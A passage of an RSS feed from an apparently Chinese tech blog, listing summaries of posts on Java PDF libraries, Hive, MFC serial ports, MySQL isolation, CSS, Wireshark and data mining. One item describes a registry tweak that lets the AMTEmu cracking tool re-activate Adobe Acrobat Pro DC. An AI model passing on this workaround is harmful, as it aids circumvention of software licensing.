然后，在pom.xml文件中指定Spire.PDF for Java的Maven依赖。&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt; e-iceblue &amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spire.pdf&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.4.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 配置完成后，在IDEA中，您只需点击”Import Changes”即可导入JAR包；在Eclipse中，您需要点击”Save”按钮， JAR包才会自动下载。至此，您已经成功在Maven项目中添加了Spire.PDF JAR包依赖。&#xA;注： Free Spire.PDF for Java的artifactId为spire.pdf.free&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;e-iceblue&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spire.pdf.free&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.6.3&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 配置完成如图：（注意：spire.pdf在最新版本生成的pdf在第一页会有警告） 非Mavenxinagm配置如下： 步骤1：步骤1：在Java程序中新建一个文件夹可命名为Lib。并将产品包中的2个jar文件复制到新建的文件夹下。&#xA;步骤2：复制文件后，添加到引用类库：选中这两个jar文件，点击鼠标右键，选择“Build Path” – “Add to Build Path”。完成引用。&#xA;Java示例（供参考） 1. 添加图片图章 import com.spire.pdf.FileFormat; import com.spire.pdf.PdfDocument; import com.spire.pdf.PdfPageBase; import com.spire.pdf.annotations.PdfRubberStampAnnotation; import com.</description>
    </item>
    <item>
      <title>十一、行转列、列转行函数</title>
      <link>https://bchobby.github.io/posts/f94a815963472dceeacaf8ac8a602e11/</link>
      <pubDate>Tue, 26 May 2020 11:18:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f94a815963472dceeacaf8ac8a602e11/</guid>
      <description>一、行转列 1、相关行数 CONCAT(string A/col, string B/col…)：返回输入字符串连接后的结果，支持任意个输入字符串;&#xA;CONCAT_WS(separator, str1, str2,…)：它是一个特殊形式的 CONCAT()。第一个参数剩余参数间的分隔符。分隔符可以是与剩余参数一样的字符串。如果分隔符是 NULL，返回值也将为 NULL。这个函数会跳过分隔符参数后的任何 NULL 和空字符串。分隔符将被加到被连接的字符串之间;&#xA;COLLECT_SET(col)：函数只接受基本数据类型，它的主要作用是将某字段的值进行去重汇总，产生array类型字段。&#xA;2、数据准备 数据&#xA;[root@hadoop102 datas]$ vi person.txt 孙悟空 白羊座 A 大海 射手座 A 宋宋 白羊座 B 猪八戒 白羊座 A 凤姐 射手座 A 建表 create table person_info( name string, constellation string, blood_type string) row format delimited fields terminated by &#34;\t&#34;; 导入数据 load data local inpath &#39;/opt/module/datas/person.txt&#39; into table person_info; 3、concat函数使用 hive (default)&amp;gt; select name,concat(constellation,&#39;,&#39;,blood_type) hb from person_info; OK name hb 孙悟空 白羊座,A 大海 射手座,A 宋宋 白羊座,B 猪八戒 白羊座,A 凤姐 射手座,A 4、collect_set 数据列去重聚合 select hb,collect_set(name) names from ( select name,concat(constellation,&#39;,&#39;,blood_type) hb from person_info ) t group by t.</description>
    </item>
    <item>
      <title>MFC串口操作一：显示串口输入信息</title>
      <link>https://bchobby.github.io/posts/0772b7cbb2f5ff62f9bd5256a10d0ce7/</link>
      <pubDate>Tue, 26 May 2020 11:11:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0772b7cbb2f5ff62f9bd5256a10d0ce7/</guid>
      <description>目录&#xA;一、目的&#xA;1、想知道：MFC串口输入输出信息&#xA;二、参考&#xA;1、无&#xA;三、问题：&#xA;1、当有提示说明：OnComm不准确时候，&#xA;①方法一：LONG改为LRESULT&#xA;四、操作&#xA;1、运行效果：完成MFC获取串口输入信息功能&#xA;1、创建新工程：我取名字为：MyComTest&#xA;1、SerialPort.h&#xA;1、SerialPort.cpp&#xA;1、将SerialPort.h和SerialPort.cpp文件复制到项目中&#xA;1、头文件添加现有项：SerialPort.h&#xA;1、源文件添加现有项：SerialPort.cpp&#xA;1、MyComTestDlg.h：创建串口SerialPort类：记得头文件&#xA;1、创建编辑框：显示外面发送来的串口信息：名字叫做：IDC_EDIT1&#xA;1、添加MFC相应消息事件：为了方便得到外面的信息：（因为我没有找到类向导之类直接导入这个事件的方法，直接填写代码也可以实现同样的功能）&#xA;1、初始化：串口类：MyComTestDlg.cpp：OnInitDialog（）中&#xA;1、注销和关闭串口：&#xA;一、目的 1、想知道：MFC串口输入输出信息 二、参考 1、无 三、问题： 1、当有提示说明：OnComm不准确时候， 答：&#xA;①方法一：LONG改为LRESULT afx_msg LRESULT OnComm(WPARAM ch,LPARAM port);//为了有消息给MFC发送后，MFC有变化 LRESULT CFlashAndVideoDlg::OnComm(WPARAM ch,LPARAM port) 四、操作 1、运行效果：完成MFC获取串口输入信息功能 ①我发送了7位的串口信号，它只会读取我设置额度前6个信号。&#xA;1、创建新工程：我取名字为：MyComTest 1、SerialPort.h #pragma once #define WM_COMM_BREAK_DETECTED WM_USER+1 // A break was detected on input. #define WM_COMM_CTS_DETECTED WM_USER+2 // The CTS (clear-to-send) signal changed state. #define WM_COMM_DSR_DETECTED WM_USER+3 // The DSR (data-set-ready) signal changed state.</description>
    </item>
    <item>
      <title>十、hive异常记录</title>
      <link>https://bchobby.github.io/posts/59cac19e051e2fa1762e8c2a23876009/</link>
      <pubDate>Tue, 26 May 2020 10:11:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59cac19e051e2fa1762e8c2a23876009/</guid>
      <description>1、TezSession has already shutdown Caused by: org.apache.tez.dag.api.SessionNotRunning: TezSession has already shutdown. Application application_1546781144082_0005 failed 2 times due to AM Container for appattempt_1546781144082_0005_000002 exited with exitCode: -103 For more detailed output, check application tracking page:http://hadoop103:8088/cluster/app/application_1546781144082_0005Then, click on links to logs of each attempt. Diagnostics: Container [pid=11116,containerID=container_1546781144082_0005_02_000001] is running beyond virtual memory limits. Current usage: 216.3 MB of 1 GB physical memory used; 2.6 GB of 2.1 GB virtual memory used. Killing container.</description>
    </item>
    <item>
      <title>MySQL事务隔离级别，看这一篇就够了（图文并茂）</title>
      <link>https://bchobby.github.io/posts/b30318d971757b2a43ca80a6503502a2/</link>
      <pubDate>Tue, 26 May 2020 08:46:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b30318d971757b2a43ca80a6503502a2/</guid>
      <description>我是风筝，微信搜「古时的风筝」，关注我，第一时间获取干货。一个在程序圈混迹多年，主业 Java，另外 Python、React 也玩儿的 6 的斜杠开发者。现已转行程序员鼓励师。&#xA;Spring Cloud 系列文章已经完成，可以到 我的github 上查看系列完整内容。也可以在公众号内回复「pdf」获取我精心制作的 pdf 版完整教程。&#xA;经常提到数据库的事务，那你知道数据库还有事务隔离的说法吗，事务隔离还有隔离级别，那什么是事务隔离，隔离级别又是什么呢？本文就帮大家梳理一下。&#xA;MySQL 事务 本文所说的 MySQL 事务都是指在 InnoDB 引擎下，MyISAM 引擎是不支持事务的。&#xA;数据库事务指的是一组数据操作，事务内的操作要么就是全部成功，要么就是全部失败，什么都不做，其实不是没做，是可能做了一部分但是只要有一步失败，就要回滚所有操作，有点一不做二不休的意思。&#xA;假设一个网购付款的操作，用户付款后要涉及到订单状态更新、扣库存以及其他一系列动作，这就是一个事务，如果一切正常那就相安无事，一旦中间有某个环节异常，那整个事务就要回滚，总不能更新了订单状态但是不扣库存吧，这问题就大了。&#xA;事务具有原子性（Atomicity）、一致性（Consistency）、隔离性（Isolation）、持久性（Durability）四个特性，简称 ACID，缺一不可。今天要说的就是隔离性。&#xA;概念说明 以下几个概念是事务隔离级别要实际解决的问题，所以需要搞清楚都是什么意思。&#xA;脏读 脏读指的是读到了其他事务未提交的数据，未提交意味着这些数据可能会回滚，也就是可能最终不会存到数据库中，也就是不存在的数据。读到了并一定最终存在的数据，这就是脏读。&#xA;可重复读 可重复读指的是在一个事务内，最开始读到的数据和事务结束前的任意时刻读到的同一批数据都是一致的。通常针对数据**更新（UPDATE）**操作。&#xA;不可重复读 对比可重复读，不可重复读指的是在同一事务内，不同的时刻读到的同一批数据可能是不一样的，可能会受到其他事务的影响，比如其他事务改了这批数据并提交了。通常针对数据**更新（UPDATE）**操作。&#xA;幻读 幻读是针对数据**插入（INSERT）**操作来说的。假设事务A对某些行的内容作了更改，但是还未提交，此时事务B插入了与事务A更改前的记录相同的记录行，并且在事务A提交之前先提交了，而这时，在事务A中查询，会发现好像刚刚的更改对于某些数据未起作用，但其实是事务B刚插入进来的，让用户感觉很魔幻，感觉出现了幻觉，这就叫幻读。&#xA;事务隔离级别 SQL 标准定义了四种隔离级别，MySQL 全都支持。这四种隔离级别分别是：&#xA;读未提交（READ UNCOMMITTED）&#xA;读提交 （READ COMMITTED）&#xA;可重复读 （REPEATABLE READ）&#xA;串行化 （SERIALIZABLE）&#xA;从上往下，隔离强度逐渐增强，性能逐渐变差。采用哪种隔离级别要根据系统需求权衡决定，其中，可重复读是 MySQL 的默认级别。&#xA;事务隔离其实就是为了解决上面提到的脏读、不可重复读、幻读这几个问题，下面展示了 4 种隔离级别对这三个问题的解决程度。&#xA;隔离级别脏读不可重复读幻读读未提交可能可能可能读提交不可能可能可能可重复读不可能不可能可能串行化不可能不可能不可能 只有串行化的隔离级别解决了全部这 3 个问题，其他的 3 个隔离级别都有缺陷。&#xA;一探究竟 下面，我们来一一分析这 4 种隔离级别到底是怎么个意思。&#xA;如何设置隔离级别 我们可以通过以下语句查看当前数据库的隔离级别，通过下面语句可以看出我使用的 MySQL 的隔离级别是 REPEATABLE-READ，也就是可重复读，这也是 MySQL 的默认级别。</description>
    </item>
    <item>
      <title>自动控制原理(1)-典型环节的传递函数</title>
      <link>https://bchobby.github.io/posts/079f926bcd51123379c11ba5cf376793/</link>
      <pubDate>Mon, 25 May 2020 21:00:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/079f926bcd51123379c11ba5cf376793/</guid>
      <description> 构成线性定常控制系统的七个环节：比例环节，微分环节，一阶微分环节，二阶微分环节，积分环节，惯性环节，振荡环节&#xA;1.比例环节 K为比例系数比例环节又称无惯性环节或放大环节比例环节既无零点，又无极点性质：比例环节输出与输入成正比，不失真也不滞后实例：理想的杠杆、放大器、测速发电机、电位器等 2.惯性环节 T为时间常数&#xA;K为放大系数（比例系数）惯性环节无零点性质：当系统输入时单位阶跃信号时系统输出按单调指数规律上升 3.积分环节 T为积分时间常数积分环节无零点当输入是单位阶跃信号时，积分环节的输出以固定斜率 1 T \frac{1}{T} T1​单调上升 4.微分环节 微分环节的输出与输入的一阶导数成正比，因此微分环节能预示输入信号的变化趋势，常用来改善控制系统的动态性能 5.振荡环节 ωn为无阻尼自然振荡频率ζ为阻尼比 6.一阶微分环节 τ \tau τ为时间常数比例微分环节可以抑制震荡，提高控制系统的稳定性，改善系统的动态性能 7.二阶微分环节 τ \tau τ为时间常数ζ为阻尼比二阶微分环节没有极点，有2个零点实际中也不存在真正的二阶微分环节 </description>
    </item>
    <item>
      <title>最优化问题—非线性规划(一)</title>
      <link>https://bchobby.github.io/posts/f20d21c613b367be5f0a689a34b4bb75/</link>
      <pubDate>Mon, 25 May 2020 20:25:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f20d21c613b367be5f0a689a34b4bb75/</guid>
      <description>最优化问题—非线性规划(一) 1. 非规划模型的引入和形式描述 1.1 一个非规划的例子 在之前的文章中，我们主要介绍了线性规划模型。其实，在我们建模的过程中，更多的是非规划的问题。我们下面从一个问题进入：&#xA;设第 i i i个仓库的位置为 ( x i , y i ) , ( i = 1 , 2 , , . . . , m ) (x_i,y_i),(i=1,2,,...,m) (xi​,yi​),(i=1,2,,...,m)，第i个仓库向第j个市场的货物供应量为 z i j z_{ij} zij​(i=1,2,3,…,m,j=1,2,…,n)，第i个仓库到第j个市场的距离为：&#xA;d i j = ( x i − p j ) 2 + ( y i − q j ) 2 d_{ij}=\sqrt{(x_i-p_j)^2+(y_i-q_j)^2} dij​=(xi​−pj​)2+(yi​−qj​)2 ​&#xA;这里，我们的目标是最小化距离和货物供应量的乘积的结果，这里我们用公式来描述就是：&#xA;∑ i = 1 m ∑ j = 1 m z i j d i j = ∑ i = 1 m ∑ j = 1 m z i j ( x i − p j ) 2 + ( y i − q j ) 2 ∑_{i=1}^m∑_{j=1}^mz_{ij}d_{ij}=∑_{i=1}^m∑_{j=1}^mz_{ij}\sqrt{(x_i-p_j)^2+(y_i-q_j)^2} i=1∑m​j=1∑m​zij​dij​=i=1∑m​j=1∑m​zij​(xi​−pj​)2+(yi​−qj​)2 ​</description>
    </item>
    <item>
      <title>DragonBones学习记录</title>
      <link>https://bchobby.github.io/posts/44066951f9d90e7ce230b93d4846c638/</link>
      <pubDate>Mon, 25 May 2020 18:45:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44066951f9d90e7ce230b93d4846c638/</guid>
      <description>骨骼动画学习记录 用的是 dragonBones&#xA;一.官方文档和API 看这个其实就够了。&#xA;DB Pro：介绍如何使用DB以及一些骨骼动画的概念；DB 程序库：这里虽然是白鹭里的代码使用，但人家是开发商，很值得参考，而且Creator的文档目前似乎只有API和样例。 二.bilibili官方教学视频 P5.骨骼创建 骨骼的长度是为了好操作，不用拉的太长(基本长度还是要的)； P6.IK骨骼约束 参考:&#xA;IK 和 Fk&#xA;正向运动学和反向运动学&#xA;1. 一般来说root下只有一个胯骨，其他的骨头都在其下；&#xA;2.分组 选中要分组的骨骼，然后按如图键位。随时按下分组的number，比如1，就可以选中分好组的骨骼了。&#xA;3.IK FK为正向动力学的缩写。通常情况下，父骨骼带动子骨骼运动即为正向动![力学。例如，大臂带动小臂，大腿带动小腿。&#xA;IK与FK相反，用来实现由下而上的驱动。例如，做俯卧撑时，手撑住地面，支起身体。&#xA;指的是在子骨骼的末端。&#xA;可以看到，这两根骨骼变红了，并在root下生成了一个IKTarget，这就是一个IK约束骨骼，只是它的长度为0，所以就是个点。&#xA;3DMAX&amp;amp;DragonBones中骨骼绑定，IK约束，蒙皮权重的概念&#xA;注意：IK是可以做补间动画的。&#xA;IK最多只能两根骨头，并且要为父子关系；IK可以单根骨头。 如图，这里为什么IK骨骼下面还嵌套了一个IK骨，因为这样才能实现IK的互动，如果不这样的做，那么移动脚，小腿和大腿是不会产生正常的骨骼连带的。&#xA;个人理解，外层的是脚IK，子是小腿IK，既然是反向动力学，那么肯定是反向上来的，所以脚在最外层。&#xA;小腿受到脚踝骨的约束，而脚又是一个约束骨，然而脚踝骨要受到脚的约束，所以脚踝IK骨要是脚Ik的子节点。&#xA;P7.时间轴之骨骼关键帧 1.手动添加关键帧 如图，当我们在没有关键帧的一帧上，做了修改，那么这个旗子会变黄。这时候，我们添加关键帧(按K)，那就会记录下来。&#xA;但是如果我们改变了某个属性，但是没有记录，然后做一些其他操作，那么又会变回去。比如，角度原来是0，我们改成了30，没记录，做一些其他操作，就会又变回0。&#xA;2.自动添加关键帧 如图，要点这个小旗子。这就是只要在没有关键帧的地方，我们做了修改，那就会自动添加关键帧。&#xA;3.向左，向右整体移动关键帧 如图，这两个按钮。这时候当前帧是8，我们向右移动，那么后面两个帧都会移动，其实就是拉宽了第一关键帧到第二关键帧的时间，且后面帧的帧距不变。向左同理。&#xA;目前可以一直按住，就可以一直向右/左移动。&#xA;4.等比拉大/小动画 蓝色框为选中框，拉动这个框即可 等比拉大/小 帧动画。拉到最小的时候继续向那个方向拉，就会反向。 5.编辑多帧 比如，我们要20个帧都偏移20度，那么可以使用它。点击编辑多帧，选中你所有需要修改的帧，然后修改你想修改的属性即可。&#xA;6.动画制作小技巧 如图，这里老师是做摆动，这里是全选骨骼拉动制作的，可以看到很顺滑&#xA;如图，这种就是用pose工具做的，因为pose工具是按照骨骼来做变化的，所以会像图中这样变化。并且，如果是多根骨头参与变化，那么是很有可能有多种结果的(方程的多个解，骨头越多，一个动作到另一个动作的变化过程也就越多)&#xA;自然环境下，摆动应该是有延迟的，下面传递到上面，具体可以看视频的后半部分。&#xA;这里老师是把每根骨头动画，做相对的向后移动即可。&#xA;P8.时间轴之插槽关键帧 每个插槽可以放多张图片，但是只能显示一张。&#xA;P7.时间轴之层级与事件关键帧 1.层级 如图，想做的是这个苹果绕着熊头，所以苹果绕圈的时候，有一半的动画是在熊的身后，而不是熊的前面，这时候，我们就要动态的修改层级。&#xA;我们可以看到 apple_ 有个向下的图标，表示这层向下移动了，然后右上角可以看到有个添加层级关键帧，这时候我们就可以添加关键帧，来满足苹果在移动到熊的头部附近时，能够将层级移动到头的前面，让头遮住苹果。&#xA;层级修改的帧会出现在绘制顺序上，而不是以颜色来区分，归于某个骨骼的帧上。&#xA;这里，如果没有层级帧事件，则“绘制顺序”不会出现。&#xA;2.事件 如图，听老师说，原来事件也是放在骨骼帧上的，但现在改了，同意都在一个叫事件的特殊点上。&#xA;它也可以挂在骨骼上，如图右上侧的eye。并且可以有多个事件&#xA;这里的“动画控制“是指到这帧时，可以切换到指定的下个动画。&#xA;P10.骨骼旋转 如果我们第一帧是0度，最后一帧也是0度，中间没有主动添加变化帧的话，那么是不会有动画的。&#xA;所以一般我们做旋转都要做多帧，来表明不是没有旋转，和到底旋转了多少圈。</description>
    </item>
    <item>
      <title>css所有知识点全面复习</title>
      <link>https://bchobby.github.io/posts/576e2cd2ffed0605b22865238a2e74b5/</link>
      <pubDate>Mon, 25 May 2020 09:00:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/576e2cd2ffed0605b22865238a2e74b5/</guid>
      <description>文章目录 什么是 CSS?id 和 class 选择器id 选择器class 选择器 如何插入样式表外部样式表(External style sheet)内部样式表(Internal style sheet)内联样式(Inline style)多重样式多重样式优先级深入概念 CSS 背景背景颜色背景图像背景图像 - 水平或垂直平铺背景图像- 设置定位与不平铺 CSS 文本格式文本颜色文本的对齐方式文本修饰文本转换 文本缩进CSS 字体CSS字型字体样式字体大小用em来设置字体大小 CSS 链接CSS列表属性：列表作为列表项标记的图像 CSS 表格表格边框表格宽度和高度表格文字对齐表格填充 CSS 盒子模型(Box Model)元素的宽度和高度 CSS 边框属性边框样式边框宽度边框-单独设置各边 CSS 轮廓（outline）CSS margin(外边距)CSS padding（填充）CSS 分组 和 嵌套 选择器分组选择器嵌套选择器 CSS 尺寸 (Dimension)CSS Display(显示) 与 Visibility（可见性）CSS Position(定位)static 定位fixed 定位relative 定位absolute 定位sticky 定位 CSS 布局 - OverflowCSS Float(浮动)CSS 布局 - 水平 &amp;amp; 垂直对齐元素居中对齐文本居中对齐左右对齐 - 使用定位方式 CSS 组合选择符后代选择器子元素选择器相邻兄弟选择器后续兄弟选择器 CSS 伪类(Pseudo-classes)anchor伪类 CSS :first-child 伪类CSS 伪元素:first-line 伪元素:first-letter 伪元素CSS - :before 伪元素 什么是 CSS?</description>
    </item>
    <item>
      <title>解决 Adobe Acrobat Pro DC更新后提示登录激活问题</title>
      <link>https://bchobby.github.io/posts/5fe0f79af5230d1beb28af21b8fe8e7c/</link>
      <pubDate>Sun, 24 May 2020 21:31:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fe0f79af5230d1beb28af21b8fe8e7c/</guid>
      <description>解决 Adobe Acrobat Pro DC 更新后提示登录激活问题 问题描述解决方法 问题描述 Adobe Acrobat Pro DC在安装的时候使用“AMTEmu v0.9.2”激活。&#xA;但是没有关闭自动更新，更新后发现提示需要登录才能使用，结果登录后发现激活已经失效。&#xA;此时再直接用“AMTEmu v0.9.2”无法激活。&#xA;解决方法 快捷键“win+R”打开运行；&#xA;输入“regedit”打开注册表编辑器；&#xA;找到以下位置：&#xA;[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Adobe\Adobe Acrobat\DC\Activation] 创建新键值，名称为：&#xA;IsAMTEnforced 类型为REG_DWORD，数值为十六进制0x00000001；&#xA;然后发现使用“AMTEmu v0.9.2”就能够激活了。&#xA;然后可以把Adobe Acrobat Pro DC自动更新关了。。。</description>
    </item>
    <item>
      <title>Hive 数据倾斜 常用解决办法</title>
      <link>https://bchobby.github.io/posts/cda864c59b3ba12c10f0d71bc832ecf5/</link>
      <pubDate>Sun, 24 May 2020 20:22:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cda864c59b3ba12c10f0d71bc832ecf5/</guid>
      <description>1.数据倾斜的原因 数据分布不均匀，造成数据热点问题 2.数据倾斜的现象 Hive任务进度长时间维持在99%或者100%的附近，进度好久没变化。通过查看任务监控页面Web，发现只有一个或者少数的reduce任务未完成，因为其处理的数据量和其他的reduce差异过大。单一reduce处理的记录数和平均记录数相差过多，导致最长时间远大于任务的平均时长。 3.数据倾斜情况 group by 不和聚集函数（count,sum等）配合使用时时候，维度过小，某值的数量过多 count(distinct)和distinct，特殊值过多，导致单个reduce慢 小表关联大表join 大表关联大表，空值过多 4.产生数据倾斜的原因 key分布不均匀（底层还是mr）：因为分区是根据key值取哈希值再根据reduce取模 业务数据本身的特性 建表考虑不周全 某些HQL语句本身就存在数据倾斜：count(distinct) 5.实际场景 （1）空值产生的数据倾斜 场景说明： 在日志中，常会有信息丢失的问题，比如日志中的 user_id，如果取其中的 user_id 和用户表中的 user_id 相关联，就会碰到数据倾斜的问题。 解决方案 user_id 为空的不参与关联 select * from log a join user b on a.user_id is not null and a.user_id = b.user_id union all select * from log c where c.user_id is null; 赋予空值新的 key 值 select * from log a left outer join user b on case when a.</description>
    </item>
    <item>
      <title>wireshark分析http协议 计网实验总结</title>
      <link>https://bchobby.github.io/posts/7c6f1372f8dfb0293f3fe63aaf96c256/</link>
      <pubDate>Sun, 24 May 2020 18:36:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c6f1372f8dfb0293f3fe63aaf96c256/</guid>
      <description>利用wireshark分析http报文 上周实验中进行了课程实验用wireshark抓包了http协议，收获许多，准备开启我的第一篇博客文章。&#xA;0x01 http的基本知识 HTTP（HyperText Transfer Protocol，超文本传输协议）是Web系统最核心的内容，是Web服务器和客户端直接进行数据传输的规则。HTTP协议是用于从WWW服务器传输超文本到本地浏览器的传送协议。可以使浏览器更加高效，使网络传输减少。不仅保证计算机正确快速地传输超文本文档，还确定传输文档中的哪一部分，以及首先显示(如文本先于图形)等。HTTP是一个应用层协议，有请求和响应构成，是一个标准的客户端服务器模型。HTTP具有以下几个特点：&#xA;支持客户/服务器模式：支持基本认证和安全认证；简单快速：客户端向服务器请求服务时，只需传送请求方法和路径。请求方法常用的有GET、HEAD、POST。。由于HTTP协议简单，使得HTTP服务器的程序规模小，因而通信速度很快；灵活：HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加以标记；HTTP 0.9和1.0使用非持续连接：限制每次连接只处理一个请求，服务器处理完客户的请求，并收到客户的应答后，即断开连接。采用这种方式可以节省传输时间。HTTP 1.1使用持续连接：不必为每个web对象创建一个新的连接，一个连接可以传送多个对象；无状态：HTTP协议是无状态协议。无状态是指协议对于事务处理没有记忆能力。缺少状态意味着如果后续处理需要前面的信息，则它必须重传，这样可能导致每次连接传送的数据量增大。 http的请求格式 HTTP请求信息由3部分组成:&#xA;(1)请求方法URI协议/版本&#xA;(2) 请求头(Request Header)&#xA;(3) 请求正文&#xA;请求方法URI协议/版本：请求的第一行是&#34;方法URI协议/版本&#34;&#xA;例如:GET/sample.jsp HTTP/1.1 其中&#34;GET&#34;代表请求方法，&#34;/sample.jsp&#34;表示URI，&#34;HTTP/1.1代表协议和协议的版本。&#xA;请求方法的8种方法 OPTIONS：返回服务器针对特定资源所支持的HTTP请求方法，也可以利用向Web服务器发送&#34;*&#34;的请求来测试服务器的功能性。&#xA;HEAD：向服务器索要与GET请求相一致的响应，只不过响应体将不会被返回。这一方法可以在不必传输整个响应内容的情况下，就可以获取包含在响应消息头中的元信息。&#xA;GET：向特定的资源发出请求。注意：get方法不应当被用于产生“副作用”的操作中。例如在Web APP中，其中一个原因是GET可能会被网站蜘蛛等随意访问。&#xA;POST：向指定资源提交数据进行处理请求（比如提交表单或者上传文件）。数据被包含在请求体中。POST请求可能会导致新的资源的建立或已有资源的修改。&#xA;PUT：向指定资源位置上传其最新内容。&#xA;DELETE：请求服务器删除Request-URI所标识的资源。&#xA;TRACE：回显服务器收到的请求，主要用于测试或者诊断。&#xA;CONNECT：HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。&#xA;请求头：&#xA;- Accept:[表示浏览器可以接受文本，网页图片等] - Accept-Charaset: [表示接受字符编码] - Accept-Encoding:[可以接受格式压缩后数据] - Accept-Language:[浏览器支持的语言为中文] - Host:[浏览器要找的主机] - IF-MODIFIED-Since:[文件在缓存中且指明文件时间] - Referer:[指明来源] - User-Agent:[本机浏览器内核] - Connection:close/Keep-Alive [保持链接,即发完数据后不关闭链接] - Date:[浏览器发送数据的请求时间] 请求正文： 请求头和请求正文之间是一个空行，这个行非常重要，它表示请求头已经结束，接下来的是请求正文。请求正文中包含客户提交的查询字符串信息:&#xA;http响应格式 HTTP请求信息由3部分组成::&#xA;(1)响应首行;&#xA;(2)响应头信息;&#xA;(3)响应正文。&#xA;响应首行:包含协议版本，响应状态码，对状态码的解释。&#xA;例如：分析”HTTP/1.1 200 OK”&#xA;其中HTTP/1.1：为协议版本。200 ：为响应状态码，此表示响应成功。OK ：为解释响应状态码200是响应成功。</description>
    </item>
    <item>
      <title>plt.scatter分类数据legend添加图例</title>
      <link>https://bchobby.github.io/posts/9990974f1070478ec5fc54ed68834183/</link>
      <pubDate>Sat, 23 May 2020 20:39:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9990974f1070478ec5fc54ed68834183/</guid>
      <description>画图代码参考的帖子：~~~~~~点这~~~~~~ 还有这个 ~~~~~~摁这~~~~~~&#xA;渲染分类边界参考这个帖子：~~~~~~~~戳这~~~~~~~&#xA;一个二分类任务，根据年龄和薪资估计其是否会买车，&#xA;数据集有两个特征，Age 和 Salary&#xA;标签是 Purchased ，两个取值（0或1）&#xA;横轴 Age, 纵轴 Salary，把这些离散的点画出来，并根据标签取值上色&#xA;环境 jupyter, python 3.7&#xA;# This tells Jupyter to set up Matplotlib so it uses Jupyter’s own backend. %matplotlib inline import matplotlib.pyplot as plt # 根据训练集标签 y 的取值确定所画点的颜色 # y_train 是个 array，里面只有0，1两种取值 # X_train 也是 array 有两列，X_train[i,0] 代表第 i 行，第 0 列, X_train[i][0] 也一样 # scatter 参数中，lw:点宽，s:不知道，color:&#39;r&#39;是红色, marker:&#39;^&#39;代表三角形 for i in range(len(y_train)): if y_train[i] == 0: s1 = plt.</description>
    </item>
    <item>
      <title>数据挖掘之航空公司客户价值分析</title>
      <link>https://bchobby.github.io/posts/35752cdf12249d773d3f97d82d880d1a/</link>
      <pubDate>Sat, 23 May 2020 17:03:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35752cdf12249d773d3f97d82d880d1a/</guid>
      <description>课程设计选题：详细文档项目见https://download.csdn.net/download/sereasuesue/12050550&#xA;题目：航空公司客户价值分析&#xA;目录&#xA;一、 任务背景 2&#xA;二、 数据挖掘目标 2&#xA;三、数据探索与预处理 3&#xA;构建航空客户价值分析的关键特征 3&#xA;数据抽取 5&#xA;探索性分析 5&#xA;数据处理 6&#xA;四、模型构建与评价 12&#xA;1.模型构建K-Means聚类算法 12&#xA;客户价值分析 13&#xA;五、 总结 16&#xA;任务背景 高铁、动车等铁路的不断兴建，出行方式的多元化让航空公司受到很大的冲击。航空公司之间竞争也很激烈，除了四大航空公司之间的竞争之外，还有新兴产业的各类小型航空公司、民营航空公司，旅游等。甚至国外航线出现高速度增长。&#xA;随着时代的发展，客户问题越来越受到关注，客户流失对利润增长造成了非常大的负面影响。客户与航空公司的关系越长，航空公司的利润就越高。一个客户使用了几次这次服务，感觉服务不错，那下次还会倾向于这个服务，但是要获得新客户，不仅需要在广告和人员工资上花费很多，去吸引顾客，在销售、市场也会花费很多，并且大多数新客户产生的利润不如那些流失的老客户多。很明显，失去一个客户对公司来说比得到一个新客户更昂贵。另外老用户也可以带来新用户。&#xA;因此，在这一背景下，分析航空公司客户数据，对客户进行分类，提高客户流失率是当务之急。航空公司应针对不同类型的客户制定相应的营销模式，以实现利润最大化。。&#xA;数据挖掘目标 按航空公司客户数据进行分类。分析了不同类型顾客的特点，比较不同类型顾客的顾客价值。可以为不同价值客户类别提供个性化服务，并采用相应的营销策略。&#xA;分类客户的目的，就是要更精确地说明谁是我们的客户，了解客户到底有哪些实际需要，企业应该去吸引哪些客户，哪些客户应该被重点保留，以及应该如何迎合重点客户的需求等重要问题，进而使客户关系管理真正成为业务获得成功、扩大产品销量的催化剂。客户分类是客户关系管理的核心。帕累托定律（2/8定律）：就是20%的顾客给企业带来80%的销售利润。20%的客户其利润率达到100%。现有客户可以带来90%以上的收入。而大部分的营销预算经常被用在非现有客户上。在客户金字塔中具有升级潜力有5%至30%的客户。客户金字塔中客户升级2%，销售收入增加10%，利润就增加50%。&#xA;这些经验可能并不完全准确，但我们可以看到新时代客户差异化的趋势和客户价值分析的重要性。&#xA;企业应该投入大量的资源来赢得客户，而目标应该放在一小部分能够为企业带来高利润的客户群中，而不是所有的客户群中，以便长期实现自身的特点。航空公司如何投入有限的资源来实现精准营销，从而提高企业的竞争力，最终实现利润最大化？这是航空公司面临的第一个也是必要解决的问题。&#xA;三、数据探索与预处理 